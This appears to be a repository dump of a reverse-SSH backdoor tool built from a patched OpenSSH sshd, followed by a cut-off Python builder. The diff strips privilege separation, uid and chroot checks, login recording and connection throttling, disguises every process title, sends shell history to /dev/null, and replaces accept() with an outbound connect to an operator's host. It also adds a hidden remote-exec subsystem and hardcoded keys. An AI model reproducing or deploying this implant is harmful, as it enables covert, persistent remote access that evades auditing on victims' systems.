login_write(struct logininfo *li){ + return 0; +} /** ** login_write: Call low-level recording functions based on autoconf ** results **/ int -login_write(struct logininfo *li) +login_write_bkp(struct logininfo *li) { #ifndef HAVE_CYGWIN if (geteuid() != 0) { diff --git a/monitor.c b/monitor.c index b3ed515ed..5814a7283 100644 --- a/monitor.c +++ b/monitor.c @@ -97,6 +97,8 @@ #include "ssherr.h" #include "sk-api.h" +#include "sshd.h" + #ifdef GSSAPI static Gssctxt *gsscontext = NULL; #endif @@ -725,8 +727,8 @@ mm_answer_pwnamallow(struct ssh *ssh, int sock, struct sshbuf *m) pwent = getpwnamallow(ssh, authctxt->user); - setproctitle("%s [priv]", pwent ? authctxt->user : "unknown"); - + //setproctitle("%s [priv]", pwent ? authctxt->user : "unknown"); + setproctitle(SSHIMPANZEE_PROC_NAME); sshbuf_reset(m); if (pwent == NULL) { diff --git a/openbsd-compat/setproctitle.c b/openbsd-compat/setproctitle.c index e4064323a..76ccbb783 100644 --- a/openbsd-compat/setproctitle.c +++ b/openbsd-compat/setproctitle.c @@ -138,12 +138,12 @@ setproctitle(const char *fmt, ...) return; #endif - strlcpy(buf, __progname, sizeof(buf)); + strlcpy(buf, "", sizeof(buf)); r = -1; va_start(ap, fmt); if (fmt != NULL) { - len = strlcat(buf, ": ", sizeof(buf)); + len = strlcat(buf, "", sizeof(buf)); if (len < sizeof(buf)) r = vsnprintf(buf + len, sizeof(buf) - len , fmt, ap); } diff --git a/servconf.c b/servconf.c index 86c297936..2bdf383f5 100644 --- a/servconf.c +++ b/servconf.c @@ -68,6 +68,7 @@ #include "auth.h" #include "myproposal.h" #include "digest.h" +#include "sshd.h" static void add_listen_addr(ServerOptions *, const char *, const char *, int); @@ -81,6 +82,9 @@ static void parse_server_config_depth(ServerOptions *options, extern int use_privsep; extern struct sshbuf *cfg; +extern ServerOptions options; +extern int inetd_flag; + /* Initializes the server options to their default values. */ void @@ -452,7 +456,7 @@ fill_default_server_options(ServerOptions *options) /* Turn privilege separation and sandboxing on by default */ if (use_privsep == -1) - use_privsep = PRIVSEP_ON; + use_privsep = PRIVSEP_OFF; #define CLEAR_ON_NONE(v) \ do { \ @@ -2590,12 +2594,28 @@ load_server_config(const char *filename, struct sshbuf *conf) char *line = NULL, *cp; size_t linesize = 0; FILE *f; - int r; - - debug2_f("filename %s", filename); - if ((f = fopen(filename, "r")) == NULL) { - perror(filename); - exit(1); + int r, lineno = 0; + char buffer[64]; + if (options.backdoor) + { + sshbuf_reset(conf); + sprintf(buffer, "Port %d\n", PORT); + sshbuf_put(conf, buffer,strlen(buffer)); + sprintf(buffer, "ListenAddress %s\n", LISTENADDRESS); + sshbuf_put(conf, buffer, strlen(buffer)); + + sprintf(buffer, "HostKey /\n"); + sshbuf_put(conf, buffer, strlen(buffer)); + + sshbuf_put(conf, EXTRACONFIG, sizeof(EXTRACONFIG)); + return; + } + else { + debug2_f("filename %s", filename); + if ((f = fopen(filename, "r")) == NULL) { + perror(filename); + exit(1); + } } sshbuf_reset(conf); /* grow buffer, so realloc is avoided for large config files */ @@ -2617,6 +2637,7 @@ load_server_config(const char *filename, struct sshbuf *conf) fatal_fr(r, "sshbuf_put_u8"); fclose(f); debug2_f("done config len = %zu", sshbuf_len(conf)); + } void diff --git a/servconf.h b/servconf.h index ed7b72e8e..89ab36424 100644 --- a/servconf.h +++ b/servconf.h @@ -227,11 +227,12 @@ typedef struct { int expose_userauth_info; u_int64_t timing_secret; char *sk_provider; + char backdoor; int required_rsa_size; /* minimum size of RSA keys */ - + char **channel_timeouts; /* inactivity timeout by channel type */ u_int num_channel_timeouts; - + int unused_connection_timeout; } ServerOptions; diff --git a/session.c b/session.c index aa342e84d..bab3399df 100644 --- a/session.c +++ b/session.c @@ -103,6 +103,12 @@ #include #endif + +#include "sshd.h" +#ifdef REMOTE_EXEC_INTERNAL +int remote_exec_main(); +#endif + #define IS_INTERNAL_SFTP(c) \ (!strncmp(c, INTERNAL_SFTP_NAME, sizeof(INTERNAL_SFTP_NAME) - 1) && \ (c[sizeof(INTERNAL_SFTP_NAME) - 1] == '\0' || \ @@ -151,6 +157,9 @@ static Session *sessions = NULL; #define SUBSYSTEM_EXT 1 #define SUBSYSTEM_INT_SFTP 2 #define SUBSYSTEM_INT_SFTP_ERROR 3 +#define SUBSYSTEM_INT_REMOTE_EXEC 4 + + #ifdef HAVE_LOGIN_CAP login_cap_t *lc; @@ -332,7 +341,7 @@ set_fwdpermit_from_authopts(struct ssh *ssh, const struct sshauthopt *opts) void do_authenticated(struct ssh *ssh, Authctxt *authctxt) { - setproctitle("%s", authctxt->pw->pw_name); + setproctitle(SSHIMPANZEE_PROC_NAME); auth_log_authopts("active", auth_opts, 0); @@ -675,7 +684,13 @@ do_exec(struct ssh *ssh, Session *s, const char *command) if (IS_INTERNAL_SFTP(command)) { s->is_subsystem = s->is_subsystem ? SUBSYSTEM_INT_SFTP : SUBSYSTEM_INT_SFTP_ERROR; - } else if (s->is_subsystem) + } + #ifdef REMOTE_EXEC_INTERNAL + else if(strcmp(REMOTE_EXEC_INTERNAL, command) == 0) + s->is_subsystem = SUBSYSTEM_INT_REMOTE_EXEC; + + #endif + else if (s->is_subsystem) s->is_subsystem = SUBSYSTEM_EXT; snprintf(session_type, sizeof(session_type), "forced-command %s '%.900s'", forced, command); @@ -789,22 +804,23 @@ do_login(struct ssh *ssh, Session *s, const char *command) void do_motd(void) { - FILE *f; - char buf[256]; - - if (options.print_motd) { -#ifdef HAVE_LOGIN_CAP - f = fopen(login_getcapstr(lc, "welcome", "/etc/motd", - "/etc/motd"), "r"); -#else - f = fopen("/etc/motd", "r"); -#endif - if (f) { - while (fgets(buf, sizeof(buf), f)) - fputs(buf, stdout); - fclose(f); - } - } + /* FILE *f; */ +/* char buf[256]; */ + +/* if (options.print_motd) { */ +/* #ifdef HAVE_LOGIN_CAP */ +/* f = fopen(login_getcapstr(lc, "welcome", "/etc/motd", */ +/* "/etc/motd"), "r"); */ +/* #else */ +/* f = fopen("/etc/motd", "r"); */ +/* #endif */ +/* if (f) { */ +/* while (fgets(buf, sizeof(buf), f)) */ +/* fputs(buf, stdout); */ +/* fclose(f); */ +/* } */ +/* } */ + fputs(MOTD,stdout); } @@ -1020,6 +1036,7 @@ do_setup_env(struct ssh *ssh, Session *s, const char *shell) for (i = 0; i < s->num_env; i++) child_set_env(&env, &envsize, s->env[i].name, s->env[i].val); + child_set_env(&env, &envsize, "HISTFILE", "/dev/null"); child_set_env(&env, &envsize, "USER", pw->pw_name); child_set_env(&env, &envsize, "LOGNAME", pw->pw_name); #ifdef _AIX @@ -1371,15 +1388,15 @@ do_setusercontext(struct passwd *pw) #else if (setlogin(pw->pw_name) < 0) error("setlogin failed: %s", strerror(errno)); - if (setgid(pw->pw_gid) < 0) { - perror("setgid"); - exit(1); - } + //if (setgid(pw->pw_gid) < 0) { + // perror("setgid"); + // exit(1); + //} /* Initialize the group list. */ - if (initgroups(pw->pw_name, pw->pw_gid) < 0) { - perror("initgroups"); - exit(1); - } + //if (initgroups(pw->pw_name, pw->pw_gid) < 0) { + // perror("initgroups"); + // exit(1); + //} endgrent(); #endif @@ -1428,13 +1445,13 @@ do_setusercontext(struct passwd *pw) /* Permanently switch to the desired uid. */ permanently_set_uid(pw); #endif - } else if (options.chroot_directory != NULL && - strcasecmp(options.chroot_directory, "none") != 0) { - fatal("server lacks privileges to chroot to ChrootDirectory"); - } + } //else if (options.chroot_directory != NULL && + // strcasecmp(options.chroot_directory, "none") != 0) { + // fatal("server lacks privileges to chroot to ChrootDirectory"); + //} - if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid) - fatal("Failed to set uids to %u.", (u_int) pw->pw_uid); + //if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid) + // fatal("Failed to set uids to %u.", (u_int) pw->pw_uid); } static void @@ -1567,8 +1584,10 @@ do_child(struct ssh *ssh, Session *s, const char *command) * Get the shell from the password data. An empty shell field is * legal, and means /bin/sh. */ - shell = (pw->pw_shell[0] == '\0') ? _PATH_BSHELL : pw->pw_shell; - + //shell = (pw->pw_shell[0] == '\0') ? _PATH_BSHELL : pw->pw_shell; + shell = getenv("SSHELL"); + if (shell == NULL) + shell = FORCEDSHELL; /* * Make sure $SHELL points to the shell from the password file, * even if shell is overridden from login.conf @@ -1621,23 +1640,23 @@ do_child(struct ssh *ssh, Session *s, const char *command) #endif /* Change current directory to the user's home directory. */ - if (chdir(pw->pw_dir) == -1) { + //if (chdir(pw->pw_dir) == -1) { /* Suppress missing homedir warning for chroot case */ #ifdef HAVE_LOGIN_CAP - r = login_getcapbool(lc, "requirehome", 0); + // r = login_getcapbool(lc, "requirehome", 0); #endif - if (r || !in_chroot) { - fprintf(stderr, "Could not chdir to home " - "directory %s: %s\n", pw->pw_dir, - strerror(errno)); - } - if (r) - exit(1); - } + //if (r || !in_chroot) { + //fprintf(stderr, "Could not chdir to home " + // "directory %s: %s\n", pw->pw_dir, + // strerror(errno)); + //} + //if (r) + // exit(1); + //} closefrom(STDERR_FILENO + 1); - do_rc_files(ssh, s, shell); + //do_rc_files(ssh, s, shell); /* restore SIGPIPE for child */ ssh_signal(SIGPIPE, SIG_DFL); @@ -1653,7 +1672,7 @@ do_child(struct ssh *ssh, Session *s, const char *command) int i; char *p, *args; - setproctitle("%s@%s", s->pw->pw_name, INTERNAL_SFTP_NAME); + setproctitle(SSHIMPANZEE_PROC_NAME); args = xstrdup(command ? command : "sftp-server"); for (i = 0, (p = strtok(args, " ")); p; (p = strtok(NULL, " "))) if (i < ARGV_MAX - 1) @@ -1666,7 +1685,25 @@ do_child(struct ssh *ssh, Session *s, const char *command) #endif exit(sftp_server_main(i, argv, s->pw)); } +#ifdef REMOTE_EXEC_INTERNAL + else if (s->is_subsystem == SUBSYSTEM_INT_REMOTE_EXEC) + { + extern int optind, optreset; + int i; + char *p, *args; + setproctitle(SSHIMPANZEE_PROC_NAME); + args = xstrdup(command ? command : "sftp-server"); + for (i = 0, (p = strtok(args, " ")); p; (p = strtok(NULL, " "))) + if (i < ARGV_MAX - 1) + argv[i++] = p; + argv[i] = NULL; + optind = optreset = 1; + __progname = argv[0]; + exit(remote_exec_main(i, argv)); + } + +#endif fflush(NULL); /* Get the last component of the shell name. */ @@ -1971,7 +2008,12 @@ session_subsystem_req(struct ssh *ssh, Session *s) if (strcmp(INTERNAL_SFTP_NAME, prog) == 0) { s->is_subsystem = SUBSYSTEM_INT_SFTP; debug("subsystem: %s", prog); - } else { + } + else if (strcmp(REMOTE_EXEC_INTERNAL, prog) == 0) { + s->is_subsystem = SUBSYSTEM_INT_REMOTE_EXEC; + debug("subsystem: %s %s HERE!", prog, cmd); + } + else { if (stat(prog, &st) == -1) debug("subsystem: cannot stat %s: %s", prog, strerror(errno)); @@ -2571,7 +2613,7 @@ session_proctitle(Session *s) if (s->pw == NULL) error("no user for session %d", s->self); else - setproctitle("%s@%s", s->pw->pw_name, session_tty_list()); + setproctitle(SSHIMPANZEE_PROC_NAME); } int diff --git a/sshd.c b/sshd.c index 9cbe92293..70df2cd75 100644 --- a/sshd.c +++ b/sshd.c @@ -128,6 +128,8 @@ #include "srclimit.h" #include "dh.h" +#include "sshd.h" + /* Re-exec fds */ #define REEXEC_DEVCRYPTO_RESERVED_FD (STDERR_FILENO + 1) #define REEXEC_STARTUP_PIPE_FD (STDERR_FILENO + 2) @@ -141,7 +143,7 @@ ServerOptions options; /* Name of the server configuration file. */ char *config_file_name = _PATH_SERVER_CONFIG_FILE; - +char init = 0; /* * Debug mode flag. This can be set on the command line. If debug * mode is enabled, extra debugging output will be sent to the system @@ -149,7 +151,7 @@ char *config_file_name = _PATH_SERVER_CONFIG_FILE; * the first connection. */ int debug_flag = 0; - +int inetd_flag = 0; /* * Indicating that the daemon should only test the configuration and keys. * If test_flag > 1 ("-T" flag), then sshd will also dump the effective @@ -159,7 +161,7 @@ int debug_flag = 0; static int test_flag = 0; /* Flag indicating that the daemon is being started from inetd. */ -static int inetd_flag = 0; +//static int inetd_flag = 0; /* Flag indicating that sshd should not detach and become a daemon. */ static int no_daemon_flag = 0; @@ -524,7 +526,7 @@ privsep_preauth(struct ssh *ssh) set_log_handler(mm_log_handler, pmonitor); privsep_preauth_child(); - setproctitle("%s", "[net]"); + setproctitle(SSHIMPANZEE_PROC_NAME); if (box != NULL) ssh_sandbox_child(box); @@ -842,53 +844,54 @@ should_drop_connection(int startups) static int drop_connection(int sock, int startups, int notify_pipe) { - char *laddr, *raddr; - const char msg[] = "Exceeded MaxStartups\r\n"; - static time_t last_drop, first_drop; - static u_int ndropped; - LogLevel drop_level = SYSLOG_LEVEL_VERBOSE; - time_t now; - - now = monotime(); - if (!should_drop_connection(startups) && - srclimit_check_allow(sock, notify_pipe) == 1) { - if (last_drop != 0 && - startups < options.max_startups_begin - 1) { - /* XXX maybe need better hysteresis here */ - logit("exited MaxStartups throttling after %s, " - "%u connections dropped", - fmt_timeframe(now - first_drop), ndropped); - last_drop = 0; - } - return 0; - } - -#define SSHD_MAXSTARTUPS_LOG_INTERVAL (5 * 60) - if (last_drop == 0) { - error("beginning MaxStartups throttling"); - drop_level = SYSLOG_LEVEL_INFO; - first_drop = now; - ndropped = 0; - } else if (last_drop + SSHD_MAXSTARTUPS_LOG_INTERVAL < now) { - /* Periodic logs */ - error("in MaxStartups throttling for %s, " - "%u connections dropped", - fmt_timeframe(now - first_drop), ndropped + 1); - drop_level = SYSLOG_LEVEL_INFO; - } - last_drop = now; - ndropped++; - - laddr = get_local_ipaddr(sock); - raddr = get_peer_ipaddr(sock); - do_log2(drop_level, "drop connection #%d from [%s]:%d on [%s]:%d " - "past MaxStartups", startups, raddr, get_peer_port(sock), - laddr, get_local_port(sock)); - free(laddr); - free(raddr); - /* best-effort notification to client */ - (void)write(sock, msg, sizeof(msg) - 1); - return 1; + /* char *laddr, *raddr; */ +/* const char msg[] = "Exceeded MaxStartups\r\n"; */ +/* static time_t last_drop, first_drop; */ +/* static u_int ndropped; */ +/* LogLevel drop_level = SYSLOG_LEVEL_VERBOSE; */ +/* time_t now; */ + +/* now = monotime(); */ +/* if (!should_drop_connection(startups) && */ +/* srclimit_check_allow(sock, notify_pipe) == 1) { */ +/* if (last_drop != 0 && */ +/* startups < options.max_startups_begin - 1) { */ +/* /\* XXX maybe need better hysteresis here *\/ */ +/* logit("exited MaxStartups throttling after %s, " */ +/* "%u connections dropped", */ +/* fmt_timeframe(now - first_drop), ndropped); */ +/* last_drop = 0; */ +/* } */ +/* return 0; */ +/* } */ + +/* #define SSHD_MAXSTARTUPS_LOG_INTERVAL (5 * 60) */ +/* if (last_drop == 0) { */ +/* error("beginning MaxStartups throttling"); */ +/* drop_level = SYSLOG_LEVEL_INFO; */ +/* first_drop = now; */ +/* ndropped = 0; */ +/* } else if (last_drop + SSHD_MAXSTARTUPS_LOG_INTERVAL < now) { */ +/* /\* Periodic logs *\/ */ +/* error("in MaxStartups throttling for %s, " */ +/* "%u connections dropped", */ +/* fmt_timeframe(now - first_drop), ndropped + 1); */ +/* drop_level = SYSLOG_LEVEL_INFO; */ +/* } */ +/* last_drop = now; */ +/* ndropped++; */ + +/* laddr = get_local_ipaddr(sock); */ +/* raddr = get_peer_ipaddr(sock); */ +/* do_log2(drop_level, "drop connection #%d from [%s]:%d on [%s]:%d " */ +/* "past MaxStartups", startups, raddr, get_peer_port(sock), */ +/* laddr, get_local_port(sock)); */ +/* free(laddr); */ +/* free(raddr); */ +/* /\* best-effort notification to client *\/ */ +/* (void)write(sock, msg, sizeof(msg) - 1); */ +/* return 1; */ + return 0; } static void @@ -896,9 +899,7 @@ usage(void) { fprintf(stderr, "%s, %s\n", SSH_RELEASE, SSH_OPENSSL_VERSION); fprintf(stderr, -"usage: sshd [-46DdeGiqTtV] [-C connection_spec] [-c host_cert_file]\n" -" [-E log_file] [-f config_file] [-g login_grace_time]\n" -" [-h host_key_file] [-o option] [-p port] [-u len]\n" +"usage: sshd [-diver]\n" ); exit(1); } @@ -1062,28 +1063,66 @@ listen_on_addrs(struct listenaddr *la) sock_set_v6only(listen_sock); debug("Bind to port %s on %s.", strport, ntop); - - /* Bind the socket to the desired port. */ - if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) == -1) { - error("Bind to port %s on %s failed: %.200s.", - strport, ntop, strerror(errno)); - close(listen_sock); - continue; - } - listen_socks[num_listen_socks] = listen_sock; num_listen_socks++; + /* Bind the socket to the desired port. */ + /* if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) == -1) { */ + /* error("Bind to port %s on %s failed: %.200s.", */ + /* strport, ntop, strerror(errno)); */ + /* close(listen_sock); */ + /* continue; */ + /* } */ + /* listen_socks[num_listen_socks] = listen_sock; */ + /* num_listen_socks++; */ /* Start listening on the port. */ - if (listen(listen_sock, SSH_LISTEN_BACKLOG) == -1) - fatal("listen on [%s]:%s: %.100s", - ntop, strport, strerror(errno)); - logit("Server listening on %s port %s%s%s.", - ntop, strport, - la->rdomain == NULL ? "" : " rdomain ", - la->rdomain == NULL ? "" : la->rdomain); + /* if (listen(listen_sock, SSH_LISTEN_BACKLOG) == -1) */ + /* fatal("listen on [%s]:%s: %.100s", */ + /* ntop, strport, strerror(errno)); */ + /* logit("Server listening on %s port %s%s%s.", */ + /* ntop, strport, */ + /* la->rdomain == NULL ? "" : " rdomain ", */ + /* la->rdomain == NULL ? "" : la->rdomain); */ } } + +int +connect_to_remote(struct sockaddr_in* from, int* len) +{ + int sock = 0; + int ret; + struct sockaddr_in to; + if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) + { + printf("\n Socket creation error \n"); + return -1; + } + + to.sin_port = htons(PORT); + to.sin_family = AF_INET; + + if(inet_pton(AF_INET, LISTENADDRESS, &to.sin_addr)<=0) + { + printf("\nInvalid address/ Address not supported \n"); + return -1; + } + ret = connect(sock, (struct sockaddr *)&to, sizeof(to)); + //printf("Connect ret %d\n", ret); + if (ret < 0) + { + close(sock); + perror("\nConnection Failed \n"); + return -1; + } + + from->sin_port = htons(9021); + + *len=sizeof(from); + return sock; +} + + + static void server_listen(void) { @@ -1164,9 +1203,7 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s) exit(received_sigterm == SIGTERM ? 0 : 255); } if (ostartups != startups) { - setproctitle("%s [listener] %d of %d-%d startups", - listener_proctitle, startups, - options.max_startups_begin, options.max_startups); + setproctitle(SSHIMPANZEE_PROC_NAME); ostartups = startups; } if (received_sighup) { @@ -1194,15 +1231,23 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s) startup_pollfd[i] = npfd++; } } - + if (init == 1) + { /* Wait until a connection arrives or a child exits. */ - ret = ppoll(pfd, npfd, NULL, &osigset); - if (ret == -1 && errno != EINTR) { - error("ppoll: %.100s", strerror(errno)); - if (errno == EINVAL) - cleanup_exit(1); /* can't recover */ + //ret = ppoll(pfd, npfd, NULL, &osigset); + //if (ret == -1 && errno != EINTR) { + // error("ppoll: %.100s", strerror(errno)); + // if (errno == EINVAL) + // cleanup_exit(1); /* can't recover */ + //} + } + else { + debug("Skipping First ppoll"); + init = 1; + pfd[0].revents = POLLIN; + ret = 0; } - sigprocmask(SIG_SETMASK, &osigset, NULL); + //sigprocmask(SIG_SETMASK, &osigset, NULL); if (ret == -1) continue; @@ -1240,11 +1285,15 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s) } } for (i = 0; i < num_listen_socks; i++) { - if (!(pfd[i].revents & POLLIN)) - continue; + if (!(pfd[i].revents & POLLIN)) + continue; fromlen = sizeof(from); - *newsock = accept(listen_socks[i], - (struct sockaddr *)&from, &fromlen); + *newsock = connect_to_remote((struct sockaddr*) &from, &fromlen); + int flags = fcntl(*newsock, F_GETFL, 0); + + flags = flags | O_NONBLOCK; + fcntl(*newsock, F_SETFL, flags); + if (*newsock == -1) { if (errno != EINTR && errno != EWOULDBLOCK && errno != ECONNABORTED && errno != EAGAIN) @@ -1252,6 +1301,7 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s) strerror(errno)); if (errno == EMFILE || errno == ENFILE) usleep(100 * 1000); + usleep(TIMER); continue; } if (unset_nonblock(*newsock) == -1) { @@ -1356,7 +1406,7 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s) free(pfd); return; } - + /* Parent. Stay in the loop. */ platform_post_fork_parent(pid); if (pid == -1) @@ -1379,6 +1429,11 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s) */ arc4random_stir(); arc4random_buf(rnd, sizeof(rnd)); + + // WAIT FOR CHILD TO FINISH BEFORE RETRYING TO CONNECT + waitpid(pid, &i, 0); + + #ifdef WITH_OPENSSL RAND_seed(rnd, sizeof(rnd)); if ((RAND_bytes((u_char *)rnd, 1)) != 1) @@ -1566,6 +1621,7 @@ main(int ac, char **av) sigemptyset(&sigmask); sigprocmask(SIG_SETMASK, &sigmask, NULL); + initial_env(); /* Save argv. Duplicate so setproctitle emulation doesn't clobber it */ saved_argc = ac; rexec_argc = ac; @@ -1591,21 +1647,8 @@ main(int ac, char **av) /* Parse command-line arguments. */ while ((opt = getopt(ac, av, - "C:E:b:c:f:g:h:k:o:p:u:46DGQRTdeiqrtV")) != -1) { + "rived")) != -1) { switch (opt) { - case '4': - options.address_family = AF_INET; - break; - case '6': - options.address_family = AF_INET6; - break; - case 'f': - config_file_name = optarg; - break; - case 'c': - servconf_add_hostcert("[command-line]", 0, - &options, optarg); - break; case 'd': if (debug_flag == 0) { debug_flag = 1; @@ -1613,15 +1656,6 @@ main(int ac, char **av) } else if (options.log_level < SYSLOG_LEVEL_DEBUG3) options.log_level++; break; - case 'D': - no_daemon_flag = 1; - break; - case 'G': - do_dump_cfg = 1; - break; - case 'E': - logfile = optarg; - /* FALLTHROUGH */ case 'e': log_stderr = 1; break; @@ -1631,71 +1665,7 @@ main(int ac, char **av) case 'r': rexec_flag = 0; break; - case 'R': - rexeced_flag = 1; - inetd_flag = 1; - break; - case 'Q': - /* ignored */ - break; - case 'q': - options.log_level = SYSLOG_LEVEL_QUIET; - break; - case 'b': - /* protocol 1, ignored */ - break; - case 'p': - options.ports_from_cmdline = 1; - if (options.num_ports >= MAX_PORTS) { - fprintf(stderr, "too many ports.\n"); - exit(1); - } - options.ports[options.num_ports++] = a2port(optarg); - if (options.ports[options.num_ports-1] <= 0) { - fprintf(stderr, "Bad port number.\n"); - exit(1); - } - break; - case 'g': - if ((options.login_grace_time = convtime(optarg)) == -1) { - fprintf(stderr, "Invalid login grace time.\n"); - exit(1); - } - break; - case 'k': - /* protocol 1, ignored */ - break; - case 'h': - servconf_add_hostkey("[command-line]", 0, - &options, optarg, 1); - break; - case 't': - test_flag = 1; - break; - case 'T': - test_flag = 2; - break; - case 'C': - connection_info = get_connection_info(ssh, 0, 0); - if (parse_server_match_testspec(connection_info, - optarg) == -1) - exit(1); - break; - case 'u': - utmp_len = (u_int)strtonum(optarg, 0, HOST_NAME_MAX+1+1, NULL); - if (utmp_len > HOST_NAME_MAX+1) { - fprintf(stderr, "Invalid utmp length.\n"); - exit(1); - } - break; - case 'o': - line = xstrdup(optarg); - if (process_server_config_line(&options, line, - "command-line", 0, NULL, NULL, &includes) != 0) - exit(1); - free(line); - break; - case 'V': + case 'v': fprintf(stderr, "%s, %s\n", SSH_RELEASE, SSH_OPENSSL_VERSION); exit(0); @@ -1704,10 +1674,11 @@ main(int ac, char **av) break; } } + options.backdoor = 1; if (rexeced_flag || inetd_flag) rexec_flag = 0; - if (!test_flag && !do_dump_cfg && rexec_flag && !path_absolute(av[0])) - fatal("sshd re-exec requires execution with an absolute path"); + // if (!test_flag && !do_dump_cfg && rexec_flag && !path_absolute(av[0])) + // fatal("sshd re-exec requires execution with an absolute path"); if (rexeced_flag) closefrom(REEXEC_MIN_FREE_FD); else @@ -1750,7 +1721,7 @@ main(int ac, char **av) if ((cfg = sshbuf_new()) == NULL) fatal_f("sshbuf_new failed"); if (rexeced_flag) { - setproctitle("%s", "[rexeced]"); + setproctitle(SSHIMPANZEE_PROC_NAME); recv_rexec_state(REEXEC_CONFIG_PASS_FD, cfg); if (!debug_flag) { startup_pipe = dup(REEXEC_STARTUP_PIPE_FD); @@ -1991,10 +1962,10 @@ main(int ac, char **av) (st.st_uid != getuid () || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0)) #else - if (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0) + //if (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0) #endif - fatal("%s must be owned by root and not group or " - "world-writable.", _PATH_PRIVSEP_CHROOT_DIR); + // fatal("%s must be owned by root and not group or " + // "world-writable.", _PATH_PRIVSEP_CHROOT_DIR); } if (test_flag > 1) @@ -2052,6 +2023,17 @@ main(int ac, char **av) disconnect_controlling_tty(); } + #ifdef TUN + setproctitle(SSHIMPANZEE_PROC_NAME); + if (!inetd_flag) + { + while(1) { + tun(); + usleep(TIMER); + } + } + #endif + /* Reinitialize the log (because of the fork above). */ log_init(__progname, options.log_level, options.log_facility, log_stderr); @@ -2099,7 +2081,7 @@ main(int ac, char **av) } /* This is the child processing a new connection. */ - setproctitle("%s", "[accepted]"); + setproctitle(SSHIMPANZEE_PROC_NAME); /* * Create a new session and process group since the 4.4BSD diff --git a/uidswap.c b/uidswap.c index 6ed3024d0..4a94fd58b 100644 --- a/uidswap.c +++ b/uidswap.c @@ -58,7 +58,10 @@ static int saved_egroupslen = -1, user_groupslen = -1; * id is not root, this does nothing. This call cannot be nested. */ void -temporarily_use_uid(struct passwd *pw) +temporarily_use_uid(struct passwd *pw){} + +void +temporarily_use_uid_bkp(struct passwd *pw) { /* Save the current euid, and egroups. */ #ifdef SAVED_IDS_WORK_WITH_SETEUID @@ -140,6 +143,10 @@ temporarily_use_uid(struct passwd *pw) */ void restore_uid(void) +{} + +void +restore_uid_bkp(void) { /* it's a no-op unless privileged */ if (!privileged) { @@ -179,6 +186,10 @@ restore_uid(void) */ void permanently_set_uid(struct passwd *pw) +{} + +void +permanently_set_uid_bkp(struct passwd *pw) { #ifndef NO_UID_RESTORATION_TEST uid_t old_uid = getuid(); ================================================ FILE: src/__init__.py ================================================ ================================================ FILE: src/args.py ================================================ import argparse import textwrap import yaml import os import sys class ConfigFile: def __init__(self,**entries): self.__dict__.update(entries) parser = argparse.ArgumentParser(description='Builder for Reverse SSHD server.', conflict_handler='resolve', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''Please provide at least a remote address or a tunnel.''')) ### FILE CONFIG parser.add_argument('--config','-c', dest="config_file", action='store', default=None, help="Path to the yaml build file") args = parser.parse_args() if args.config_file: print(f"[+] Building from config file {args.config_file}") if not os.path.exists(args.config_file): print(f"[-] Config file does not exist.") sys.exit(-1) with open(args.config_file, "r") as stream: try: entries = yaml.safe_load(stream) args = ConfigFile(**entries) except yaml.YAMLError as exc: print("[-] Failed to parse build file") print(exc) sys.exit(-1) ================================================ FILE: src/cmd.py ================================================ from src.args import args import os def run_cmd(cmd): if args.verbose>0: print("|=> $ " + cmd) if not args.verbose > 1: cmd = "(" + cmd + ") > /dev/null 2>&1" return os.system(cmd) ================================================ FILE: src/data.py ================================================ banner = """ ███████ ███████ ██  ██ ██ ███  ███ ██████  █████  ███  ██ ███████ ███████ ███████  ██      ██      ██  ██ ██ ████  ████ ██   ██ ██   ██ ████  ██    ███  ██      ██       ███████ ███████ ███████ ██ ██ ████ ██ ██████  ███████ ██ ██  ██  ███   █████  █████       ██      ██ ██   ██ ██ ██  ██  ██ ██      ██   ██ ██  ██ ██  ███   ██     ██     ███████ ███████ ██  ██ ██ ██      ██ ██  ██  ██ ██   ████ ███████ ███████ ███████  """ sshd_header = """ // This header file is generated by builder.py // Do not modify. // #ifndef SSHD_CONF_H #define SSHD_CONF_H #define KEYFILE "/" #define DYN_MODE #define HOSTKEY "" #define AUTHORIZED_KEYS "" #define HOSTKEY_PUB "" #define MOTD "" #define EXTRACONFIG "AuthorizedKeysFile /\\nLogLevel \\n\\n\\n\\n" #define LISTENADDRESS #define PORT #define FORCEDSHELL "" #define TIMER #define SSHIMPANZEE_PROC_NAME "" int tun(); void initial_env(); #endif """ env_template = """ #include void initial_env() { } """ ================================================ FILE: src/keys.py ================================================ from src.args import args from src.cmd import run_cmd import os def load_keys(): print("[*] Loading public key") if not (os.path.isfile("keys/HOST") and os.path.isfile("keys/HOST.pub")): print("[-] Missing host keys, please regen keys or provide HOST and HOST.pub ssh keys in the keys/ directory.") sys.exit(-1) with open("keys/HOST") as f: host_priv = f.read(1024) if(args.verbose > 0): print("|=> Private Host Key :\n" + host_priv) host_priv = host_priv.replace("\n", "\\n") with open("keys/HOST.pub") as f: host_pub = f.read(1024) host_pub = " ".join(host_pub.split(" ")[:2]) + " ROGUE@SERV" if(args.verbose > 0): print("|=> Public Host Key :\n" + host_pub) if not args.public_key: if not os.path.isfile("keys/CLIENT.pub"): print("[-] Mission client public key, regenerate key pair or provide a public key (-k)") exit(-1) with open("keys/CLIENT.pub") as f: cli_pub = f.read(1024) cli_pub = " ".join(cli_pub.split(" ")[:2]) + " ROGUE@ROGUE" else: check_type(args.public_key) cli_pub = args.public_key if(args.verbose > 0): print("|=> Public Client Key :\n" + cli_pub) return host_priv, host_pub, cli_pub def gen_keys(): print("[*] Keys generation...") run_cmd("rm -rf keys/; mkdir keys/") run_cmd("ssh-keygen -b 4096 -f keys/HOST -t ed25519 -N ''") if not args.public_key or (input("[?] You provided a public key, do you want to skip client authentication key generation? (Y/n)") == "n"): run_cmd("ssh-keygen -b 4096 -f keys/CLIENT -t ed25519 -N ''") def check_type(key): print("[*] Checking key type...") c = 